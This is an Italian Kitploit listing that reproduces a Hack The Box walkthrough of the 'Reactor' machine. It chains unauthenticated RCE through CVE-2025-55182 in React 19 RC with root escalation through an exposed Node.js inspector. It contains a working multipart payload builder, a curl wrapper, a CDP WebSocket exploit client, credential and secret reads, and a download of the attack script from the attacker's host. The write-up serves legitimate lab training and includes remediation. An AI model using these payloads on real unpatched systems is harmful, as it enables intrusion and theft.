Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HTB-Reactor-Linux-Machine-Walkthrough — Walkthrough completo della macchina Reactor di HTB — sfrutta la CVE-2025-55182 per ottenere una shell, poi ottieni root tramite un debugger Node.js esposto. Passo dopo passo con screenshot. | Kitploit
Strumenti/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
Escalation di PrivilegiRicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitCTFPenetration TestingApprendimento e Formazione

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Strumento di Accesso Remoto
Lab e Pratica
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

Walkthrough completo della macchina Reactor di HTB — sfrutta la CVE-2025-55182 per ottenere una shell, poi ottieni root tramite un debugger Node.js esposto. Passo dopo passo con screenshot.

Vedi Repository
112 mesi faNon ancora revisionato

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] Avviso di spoiler. Questa è una walkthrough completa che include le flag. Se vuoi risolvere la macchina da solo, chiudi questa pagina adesso e torna quando sei bloccato.


Informazioni sulla macchina

CampoDettagli
NomeReactor
OSUbuntu 24.04 LTS (Noble)
DifficoltàMedia
CVECVE-2025-55182 (CVSS 10.0)
Porte22 (SSH), 3000 (Next.js)
Autoresonnycroco

Panoramica

Reactor è incentrato su una dashboard di monitoraggio di una centrale nucleare chiamata ReactorWatch. La macchina riguarda esclusivamente due vulnerabilità concatenate: niente congetture, niente falsi indizi, niente forza bruta.

Il percorso: una build pre-release di React 19 espone una falla critica di deserializzazione che consente l'esecuzione di codice in remoto non autenticata con una singola richiesta HTTP. Da lì, una porta di debugging Node.js in esecuzione come root ti consegna l'accesso completo al sistema tramite un messaggio WebSocket.

Catena di attacco:

root@kitploit:~
Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

Indice

  1. Step 1: Ricognizione
  2. Step 2: Fingerprinting dello stack tecnologico
  3. Step 3: Sfruttare CVE-2025-55182 (RCE non autenticata)
  4. Step 4: Esplorazione come node
  5. Step 5: Flag utente
  6. Step 6: Privilege escalation
  7. Step 7: Flag di root
  8. Lezioni apprese
  9. Rimedi

Step 1: Ricognizione

La prima cosa da fare su qualsiasi nuova macchina è scoprire cosa è in ascolto. Una scansione completa delle porte con rilevamento dei servizi, per non perdere nulla.

root@kitploit:~
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
root@kitploit:~
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

Risultati della scansione Nmap che mostrano le porte 22 e 3000 aperte e Next.js identificato

Solo due porte. SSH è un vicolo cieco a questo punto, visto che non abbiamo ancora credenziali. La porta 3000 è il bersaglio. Nmap ci dice già che si tratta di Next.js 15.0.3, un ottimo indizio.


Step 2: Fingerprinting dello stack tecnologico

Prima di lanciare exploit contro qualsiasi cosa, voglio conoscere la versione esatta di tutto ciò che è in esecuzione. Gli header HTTP hanno già rivelato Next.js, ma la versione di React è il dettaglio critico. React 19 è stato in pre-release per molto tempo e ha avuto diversi problemi seri prima della release stabile.

Recupero uno dei chunk JavaScript lato client per verificare:

root@kitploit:~
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
root@kitploit:~
19.0.0-rc-66855b96-20241106

Quel rc nella stringa della versione è la prova fumante. Si tratta di una release candidate di React 19, non della versione stabile. I database CVE confermano: CVE-2025-55182 colpisce esattamente questa build. CVSS 10.0.

Già che ci sono, controllo gli header per eventuali indizi sul middleware:

root@kitploit:~
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

Nessun header x-middleware-rewrite presente, il che significa che non c'è alcun middleware Next.js installato. Questo esclude CVE-2025-29927 (il bypass del middleware), utile da sapere per non perderci tempo.

Cosa sappiamo:

  • Next.js 15.0.3 con experimental.serverActions abilitato
  • React 19.0.0-rc, vulnerabile a CVE-2025-55182
  • Nome dell'app: ReactorWatch (dashboard sensori reattore nucleare)
  • Nessun middleware, quindi il CVE sul bypass del middleware non si applica qui

Fingerprinting tecnologico che mostra React 19.0.0-rc rilevato e CVE-2025-55182 identificato


Step 3: Sfruttare CVE-2025-55182 (RCE non autenticata)

Cos'è la vulnerabilità

I Server Components di React 19 hanno introdotto le Server Actions, funzioni lato server richiamabili dal client tramite POST HTTP con un header Next-Action. Il parser multipart che gestisce queste richieste ha una falla critica: deserializza in modo non sicuro un tipo di riferimento chiamato $1:__proto__:then.

Creando un body multipart che imposta _response._prefix a JavaScript arbitrario, un attaccante fa sì che quel codice venga valutato sul server. L'output viene poi esfiltrato tramite un'eccezione che Next.js usa internamente per i redirect (NEXT_REDIRECT) e finisce codificato nell'header di risposta x-action-redirect.

Qualsiasi POST a qualsiasi pagina con l'header Next-Action attiva la vulnerabilità. Nessun controllo di autenticazione, nessun endpoint speciale. Basta inviare il payload a / e sei dentro.

Costruzione dell'exploit

Un piccolo helper Python che prende un comando shell come input, costruisce il payload multipart e lo scrive su disco perché curl possa inviarlo:

make_rce.py - costruttore del payload
root@kitploit:~
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

Racchiudendo tutto in una funzione shell per un'esperienza da pseudo-shell:

root@kitploit:~
rce() {
  python3 /tmp/make_rce.py "$*" > /dev/null
  curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
    -H "Next-Action: x" \
    -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
    --data-binary "@/tmp/rce_payload.bin" > /dev/null
  grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
    | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}

Lo scambio HTTP grezzo. L'output del comando è proprio lì nell'header di redirect:

root@kitploit:~
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

[... multipart body ...]

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push

Esecuzione

root@kitploit:~
rce "id"
# uid=999(node) gid=988(node) groups=988(node)

Siamo dentro come account di servizio node. Nessuna autenticazione, nessuna forza bruta, nessuna ingegneria sociale. Solo una POST HTTP. Ecco come appare un CVSS 10.0 nella pratica.

Richiesta e risposta HTTP grezze dell'exploit di CVE-2025-55182 con l'output del comando visibile nell'header di redirect

[!WARNING] Due cose da sapere prima di continuare:

  • execSync è sincrono e blocca il thread di risposta. Non provare a creare una reverse shell con esso; usa invece la exec() asincrona, altrimenti il server si bloccherà.
  • Il template literal di NEXT_REDIRECT si rompe con i newline. Converti sempre l'output multi-linea attraverso paste -sd, per appiattirlo prima che finisca nell'URL.

Step 4: Esplorazione come node

Con l'esecuzione di codice stabilita, l'obiettivo successivo è capire l'ambiente: cosa c'è su questa macchina, quali credenziali sono in giro e se esiste un percorso evidente verso un utente più privilegiato.

Controllo della configurazione dell'app

root@kitploit:~
rce "cat /opt/reactor-app/.env | paste -sd,"
root@kitploit:~
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production

C'è un database SQLite su disco. Controllo cosa contiene:

root@kitploit:~
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
root@kitploit:~
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]

Un account admin con un hash MD5. Provandolo con John e rockyou non si cracka. Va bene, il cracking degli hash si rivelerà inutile una volta trovato il vero percorso di privesc. Lo metto da parte e continuo.

Controllo di utenti e directory home

root@kitploit:~
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root@kitploit:~
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash

C'è un utente chiamato engineer. La flag utente si trova nella sua directory home.

[!NOTE] In alcune istanze di questa macchina, /home/engineer/ ha permessi 700, il che significa che l'account di servizio node non può leggerla direttamente. Se è il tuo caso, niente panico. Il percorso di privesc verso root coperto nello Step 6 ti permette di leggere entrambe le flag come root.


Step 5: Flag utente

root@kitploit:~
rce "cat /home/engineer/user.txt"
root@kitploit:~
f7b714f9fdf5c08a5f240668792aa13f

Se /home/engineer/ è bloccato sulla tua istanza, vai direttamente allo Step 6 e prendi entrambe le flag come root.


Step 6: Privilege escalation

Trovare la strada verso root

Una volta stabilito un punto d'appoggio, controllo quali processi sono in esecuzione sulla macchina. Il ps aux completo è lungo, quindi filtro per qualsiasi cosa legata a Node.js:

root@kitploit:~
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
root@kitploit:~
node    1415  next-server (v15.0.3)
root    1417  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Eccolo. Un secondo processo Node.js in esecuzione come root, avviato con il flag --inspect in ascolto su 127.0.0.1:9229. È uno script di monitoraggio uptime che qualcuno ha avviato con il debugger Node.js abilitato e ha lasciato lì.

Perché questo ci dà root

Il flag --inspect apre il Chrome DevTools Protocol (CDP), lo stesso protocollo usato dagli strumenti di sviluppo del tuo browser. Quando ti ci connetti, puoi dire al processo di valutare JavaScript arbitrario nel suo contesto V8. Poiché questo processo gira come root, anche qualsiasi cosa valuti gira come root.

L'unica barriera è che il debugger è in ascolto su localhost, ma abbiamo già esecuzione di codice sulla macchina come node, quindi possiamo raggiungerlo senza problemi.

Confermo che il debugger è attivo e recupero l'URL WebSocket:

root@kitploit:~
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
root@kitploit:~
[{
  "description": "node.js instance",
  "id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]

[!IMPORTANT] L'UUID nell'URL WebSocket (1d85ee80-...) è unico per ogni istanza del processo. Il tuo sarà diverso. Copialo dall'output JSON e aggiornalo nello script dell'exploit prima di eseguirlo.

Output di ps aux che mostra il processo root di Node.js con inspect e l'URL WebSocket del debugger ottenuto dall'endpoint json

Scrittura dell'exploit CDP

Per inviare un comando Runtime.evaluate all'inspector, serve un client WebSocket. Il pacchetto npm ws non è presente sul target, quindi ne scrivo uno minimale da zero usando solo i moduli integrati di Node.js: net per la connessione TCP e crypto per il mascheramento dei frame WebSocket.

inspector_exploit.js - client WebSocket CDP senza dipendenze
root@kitploit:~
const net = require('net');
const crypto = require('crypto');

// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';

function encodeFrame(data) {
  const payload = Buffer.from(data, 'utf8');
  const mask = crypto.randomBytes(4);
  let headerLen = (payload.length < 126) ? 6 : 8;
  const header = Buffer.alloc(headerLen);
  header[0] = 0x81;
  if (payload.length < 126) {
    header[1] = 0x80 | payload.length;
    mask.copy(header, 2);
  } else {
    header[1] = 0xfe;
    header.writeUInt16BE(payload.length, 2);
    mask.copy(header, 4);
  }
  const masked = Buffer.alloc(payload.length);
  const maskStart = headerLen - 4;
  for (let i = 0; i < payload.length; i++) {
    masked[i] = payload[i] ^ header[maskStart + (i % 4)];
  }
  return Buffer.concat([header, masked]);
}

const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);

sock.on('connect', () => {
  sock.write(
    `GET /${WS_ID} HTTP/1.1\r\n` +
    `Host: 127.0.0.1:9229\r\n` +
    `Upgrade: websocket\r\n` +
    `Connection: Upgrade\r\n` +
    `Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
    `Sec-WebSocket-Version: 13\r\n\r\n`
  );
});

sock.on('data', (data) => {
  chunks = Buffer.concat([chunks, data]);
  if (!upgraded) {
    const str = chunks.toString('utf8');
    const sep = str.indexOf('\r\n\r\n');
    if (sep === -1) return;
    upgraded = true;
    chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
    const msg = JSON.stringify({
      id: 1,
      method: 'Runtime.evaluate',
      params: { expression: CMD, returnByValue: true }
    });
    sock.write(encodeFrame(msg));
    return;
  }
  while (chunks.length > 2) {
    const b1 = chunks[1] & 0x7f;
    let payloadStart, payloadLen;
    if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
    else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
    if (chunks.length < payloadStart + payloadLen) return;
    process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
    sock.destroy();
    process.exit(0);
  }
});

sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);

[!WARNING] All'interno di una chiamata CDP Runtime.evaluate, la funzione require() semplice non è nell'ambito globale, anche se worker.js è di per sé un modulo CommonJS. Devi usare process.mainModule.require(...). Usare require() nudo genererà un ReferenceError e nessun output.

Consegna ed esecuzione dell'exploit

Servo lo script dalla macchina d'attacco:

root@kitploit:~
python3 -m http.server 8080 --directory /tmp/www &

Lo scarico e lo eseguo sul target tramite la catena RCE:

root@kitploit:~
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"

Risposta:

root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}

Stiamo valutando JavaScript arbitrario all'interno di un processo in esecuzione come uid=0.

Risposta CDP Runtime.evaluate che conferma uid=0 ed esecuzione di codice come root


Step 7: Flag di root

Stesso exploit, comando diverso in CMD:

root@kitploit:~
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root@kitploit:~
root.txt: 5c091a1960eb124c53910c1a1f456334

Entrambe le flag catturate, user.txt e root.txt, macchina completamente compromessa

Tempo totale dalla prima richiesta alla root: meno di 10 minuti una volta capito il CVE. Nessuna forza bruta, nessun cracking di password, nessun falso indizio.


Lezioni apprese

1. Non dare per scontato che i CVE di Next.js si sovrappongano

CVE-2025-29927 (bypass del middleware) era in tendenza nello stesso periodo di CVE-2025-55182. Verifica sempre se il middleware è effettivamente presente prima di testarne il bypass. La presenza o l'assenza dell'header x-middleware-rewrite te lo dice immediatamente. Inseguire il CVE sbagliato è un facile spreco di tempo.

2. execSync romperà le reverse shell

Blocca l'intero thread di risposta del server finché il sottoprocesso non termina. Avviare bash -i o una shell netcat attraverso di esso bloccherà entrambi i lati. Usa la exec() asincrona di child_process se hai bisogno di una shell interattiva da questo exploit.

3. Appiattisci l'output multi-linea prima dell'esfiltrazione

L'output dei comandi viene incorporato in un template literal JavaScript: NEXT_REDIRECT;push;/login?a=${res};307;. Qualsiasi newline letterale in res rompe il template literal e non restituisce nulla. Passa tutto attraverso paste -sd, per unire le righe prima dell'esfiltrazione.

4. require non è globale nel contesto CDP

Quando invii Runtime.evaluate a un inspector Node.js, esegui all'interno di un isolato V8 che non espone la funzione require di CommonJS globalmente, anche se il processo target è di per sé un modulo CommonJS. Usa sempre process.mainModule.require("module") nelle espressioni CDP.

5. I permessi della directory home variano in base all'istanza

In alcune istanze di questa macchina, l'account di servizio node può leggere direttamente /home/engineer/user.txt. In altre, i permessi 700 sulla directory home lo bloccano. Il percorso di privesc verso root funziona sempre e ti dà entrambe le flag indipendentemente da ciò.


Rimedi


Scarica lo strumento
VulnerabilitàFix
CVE-2025-55182Aggiornare React da 19.0.0-rc alla release stabile di React 19. Aggiornare Next.js alla versione 15.2.3 o successiva.
Node.js --inspect come rootRimuovere completamente --inspect da tutti i processi di produzione. Non associare mai l'inspector ad alcun indirizzo, nemmeno 127.0.0.1, su sistemi condivisi. Usare un ambiente isolato dedicato per il debugging.
Database SQLite nella directory dell'applicazioneSpostare il database fuori dalla web root. Limitare i permessi del filesystem in modo che il processo web possa accedere solo a ciò di cui ha strettamente bisogno.